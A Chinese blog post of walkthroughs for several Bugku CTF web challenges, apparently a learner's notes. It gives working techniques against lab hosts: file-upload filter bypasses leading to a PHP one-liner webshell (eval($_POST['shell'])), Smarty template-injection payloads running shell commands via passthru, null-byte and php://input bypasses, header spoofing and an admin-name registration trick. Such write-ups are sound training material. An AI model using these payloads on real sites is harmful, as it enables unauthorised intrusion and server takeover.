bugku 2

社工-初步收集

 购买辅助--下载辅助

得到一个zip文件

里面有exe

不知道有啥用

先用dirsearch扫一下

找到/admin/login.php

随便用了个弱口令登录失败

后面看了要用wireshrak抓包

找到邮箱和pass

 把pass解码

本来以为后台直接登录

但是登录失败

就是要用邮箱登录

找到账号和密码

登录成了

网站设置里有flag

秋名山车神

要两秒内计算值  根本不可能

数值还一直在变

import requests #//引入request库
import re 		#//引入re库

url = '''http://114.67.175.224:15101/'''
s = requests.session()  #//用session会话保持表达式是同一个
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()

result = eval(equation)	#//eval() 函数用来执行一个字符串表达式,并返回表达式的值。
key = {'value':result}
print(s.post(url, data = key).text)

正则

re.search()表示从文本的第一个字符匹配到最后一个,其第一个参数为正则表达式,第二个参数是要匹配的文本
r''表示内容为原生字符串,防止被转义
(\d+[+\-*])+(\d+):\d+ 表示匹配一个或多个数字;[+-*] 表示匹配一个加号或一个减号或一个乘号(注:减号在中括号内是特殊字符,要用反斜杠转义);所以 (\d+[+-*])+ 表示匹配多个数字和运算符组成的“表达式”;最后再加上一组数字 (\d+) 即可
group()返回字符串

文件上传 

bp抓包 上传php文件

修改类型

1.http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data (其t为大写)
Multipart里的部分字母改成大写的。

2.文件的的Content-Type: application/octet-stream,改成image/jpeg

3.文件后缀名改成php4

蚁剑连接ok

never_give_up  php黑魔法

 看源代码 给了提示1p.html

访问1p.html会直接跳转到bugku什么的

所以要用bp拦截

发包得到一串编码

解码

得到源码了

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>

stripos函数:返回指定字符的位置。 题目中就是 返回 “.”在 $a 的位置。  配合上if,就是a中不能有 .

file_get_contents:读取指定的文件。题目中是要读取名称为 a 的文件。 并赋值给 data

$a 的值必须为数据流,可是使用php伪协议中的php://input来访问原始请求数据中的只读流,也就是说我们可以在报文主体中post “bugku  is a nice plateform!”,通过php://input来访问。

eregi:这个函数跟 preg_match函数功能一样,实现匹配。但是已经弃用。

            进行不区分大小写的正则表达式匹配

题目的意思是,经过 substr 的 变量b 再拼接 字符串 111 ,用拼接后的字符串 匹配 1114 。
所以一共有以下限制条件:

1、id传参必须存在,且 等于0

2、a传参 不能有 .

3、必须读取到 名为a 的文件,且文件内容是:bugku is a nice plateform!

4、b传参长度大于5

5、b的第一个字符不能等于4,且截取后要与 1114 匹配

此外还有个隐形条件。

传入 id = 0 。会自动跳转到 id =1

绕过方法:

1、id用弱类型比较。 0xg 等于 0  。 (只要是大于十六进制e的字符都可以)

2、利用php伪协议。

a=php://input

post传入:bugku is a nice plateform!

3、利用00截断绕过 eregi

ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节

shell 命令执行

进去之后是空白的 毫无提示

根据提示我们可以猜测需要get 传参s

直接命令执行

ls

cat flag

程序员本地网站

 提示很明显啊

抓包后添加

X-Forwarded--For:127.0.0.1

 聪明的php smarty模板注入

没太看懂 就说flag文件是随机的

那我先用dirsearch扫一下试试

没有什么收获 

搜了一下 parameter是参数的意思

那我穿个参数看看

源码出来了

验证是否是模板注入

判断为 smarty模板注入

根据上面的源代码,我们发现passthru()函数没过滤

ls一下

看下根目录

http://114.67.175.224:10801/?a={{passthru(%27ls%27)}}

看到这个奇奇怪怪的

这里cat被过滤了

用tac来过滤

http://114.67.175.224:10801/?a={{passthru(%27tac%20../../../_27800%27)}}

 login1

进去就是登陆注册页面

我先随便注册了一个账号

但是回显不是管理员

所以一定要用admin才能登录

看看题目提示

 

第一次见 搜一下

参考https://www.cnblogs.com/Sayo-/p/15164269.html

 

根据以上资料

我们利用admin+空格注册一个账号

然后用admin和刚才用的密码来登录admin账户

登录成功

文件包含2

查看页面源代码

 看到upload.php

 

来到这个页面

上马没跑了

上传图片马

修改类型啥的 上传成功了

拿蚁剑连接一下 但是没有一点信息

后来知道是因为

<?php  ?>标签被替换成_了,所以无法解析成php文件,这里要另一种姿势来写一句话木马

 

<script language=php>eval($_POST['shell']);</script>

连接成功了

闪电十六鞭

需要进行代码审计

先点击 这个看看

发现url上面带了很多一坨什么东西

审计一下

点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。

当没有用GET方法传入flag时,会显示Click here的链接。

判断传入的flag长度与$exam是否相同,不同则显示 长度不允许 

 

进行关键字过滤 

get传参的flag如果跟sha1加密后的值相等 则返回flag

 $exam=return'c78158f67a3ed810f14ad631edaedb4b5b24800c';len($exam)=50;

此时再将目光放在过滤的关键字上,发现过滤掉了echo和flag,这是我们实现绕过所必需的两个关键字,只能通过别的方式来替代了

php短标签风格:

①开启短标签风格后,能够正常解析 phpinfo(); ?>这样的代码

②可以使用<?=$a?>进行输出。举个例子:<php? echo 'hello'; ?> 等价于 <?='hello';?>

其次,flag被过滤了,可用先赋其他值,再修改的方法绕过

由于[]也被过滤掉了,我们需要用{}来代替其作用。最后,还要保证的一点就是长度,若长度不够,可以在中间插入无关的字符

 

http://114.67.175.224:12486/?flag=$a=%27flxg%27;$a{2}=%27a%27;11111111111111111;?%3E%3C?=$$a;?%3E

  • 20
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值